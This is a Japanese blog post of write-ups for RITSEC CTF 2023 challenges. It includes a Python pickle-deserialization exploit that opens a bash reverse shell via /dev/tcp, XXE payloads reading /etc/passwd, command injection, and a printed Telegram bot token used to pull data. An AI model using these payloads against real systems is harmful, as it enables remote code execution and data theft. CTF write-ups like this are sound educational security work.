はまやんはまやんはまやん

hamayanhamayan's blog

RITSEC CTF 2023 Writeups

[Forensics] Web of Lies

pcapngファイルが与えられる。
WireSharkで眺めてみると、フラグを取得するHTTPリクエストがたくさん確認できる。
しかし、どれも取得はできておらず、代わりに400か401応答が並んでいる。
ステータスコードの末尾が0と1ということで順番にもってきて0と1にそれぞれ変換して
binaryからasciiに変換するとフラグが現れる。

[web] Broken Bot

ログイン画面が現れる。
このログイン画面に適当に認証情報を入れてみると、telegram api経由でtelegramに送る通信が走る。

POST /bot6055124896:AAFyQlC_8dr1GndB26ji4iV2ol2bPPQ9lq4/sendMessage HTTP/1.1
Host: api.telegram.org
Content-Length: 466
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Accept: */*
Content-Type: application/x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://brokenbot-web.challenges.ctf.ritsec.club
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://brokenbot-web.challenges.ctf.ritsec.club/
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Connection: close

chat_id=5852841790&text=***Rit+Cloud+Storage+by+Zach+A**%0A%0AEmail%3A+WhiteTeam%40rit.edu%0APassword+%3A+dbcc%0AIP+Address+%3A+138.199.21.27%0ARegion+%3A+undefined%0ACity+%3A+undefined%0ACountry+%3A+undefined%0AUseragent+%3A+Mozilla%2F5.0+(Windows+NT+10.0%3B+Win64%3B+x64)+AppleWebKit%2F537.36+(KHTML%2C+like+Gecko)+Chrome%2F111.0.5563.111+Safari%2F537.36%0AFormat+%3A+WhiteTeam%40rit.edu%0ADate+Filled+%3A+2023%2F4%2F1%0ADateSent+%3A+1%2F28%2F2023+2%3A55%3A30+p.m.

ちょっと調べると別のエンドポイントを使って情報収集できそう。
https://api.telegram.org/bot6055124896:AAFyQlC_8dr1GndB26ji4iV2ol2bPPQ9lq4/getUpdates
これをみると
https://t.me/rochesterissodamncoldbot
というURLを見つけることができ、ここにフラグが書いてあった。

[web] Echoes

ソースコード無し。
入力した文字列をそのままechoしてくれるサイトが与えられる。
echoと言えば、入力した文字列をそのまま出力するechoコマンドが思い浮かばれるのでコマンドインジェクションのpayloadを試していく。

試しに`ls`を入れてみたらディレクトリが列挙された。
なので`cat flag.txt`とするとフラグ獲得。

[web] Pickle Store

ソースコード無し。
品物を選択できるサイトが与えられる。
問題文にPickleとあるので、Pickleを悪用するのだろう。

GET /order HTTP/2
Host: pickles-web.challenges.ctf.ritsec.club
Cookie: order=gASVDwAAAAAAAACMC3N3ZWV0cGlja2xllC4=

このようなリクエストがある。
pickleを渡しているのだろうと推測してリバースシェル張ってみると、
応答が帰って来る。

import pickle, os

class SerializedPickle(object):
    def __reduce__(self):
        return(os.system,("/bin/bash -c '/bin/bash -i >& /dev/tcp/[ip]/443 0>&1'",))

pickle.dump(SerializedPickle(), open('exploit','wb'))

こんな感じでpayloadを作って、base64で入力するみたいなので、
$ cat exploit | base64
のように最終的なpayloadを作って送り込む。

[web] X-Men Lore

ソースコード無し。
X-MENのファンサイトが与えられる。

GET /xmenの出し方がかなり特殊。

GET /xmen HTTP/2
Host: xmen-lore-web.challenges.ctf.ritsec.club
Cookie: xmen=PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz48aW5wdXQ+PHhtZW4+V29sdmVyaW5lPC94bWVuPjwvaW5wdXQ+

のようにCookieに何かしら情報を入れて、表示を切り替えている。
base64っぽいのでデコードしてみると、
<?xml version='1.0' encoding='UTF-8'?><input><xmen>Wolverine</xmen></input>
のようにxmlが現れる。
だから、xmenなのね。

xmenタグの中身をTestみたいに変えてbase64エンコードして渡してみると、Testというのが跳ね返ってきた。
なるほど。XMLなので、XXEで攻撃を試してみよう。

<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><input><xmen>&xxe;</xmen></input>
これをbase64エンコードして渡してみると/etc/passwdの中身が抽出できた。
適当にフラグの場所をエスパーすると
<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE x [<!ENTITY xxe SYSTEM "file://flag" >]><input><xmen>&xxe;</xmen></input>
でフラグが得られた。カレントディレクトリにflagというファイルがあったようだ。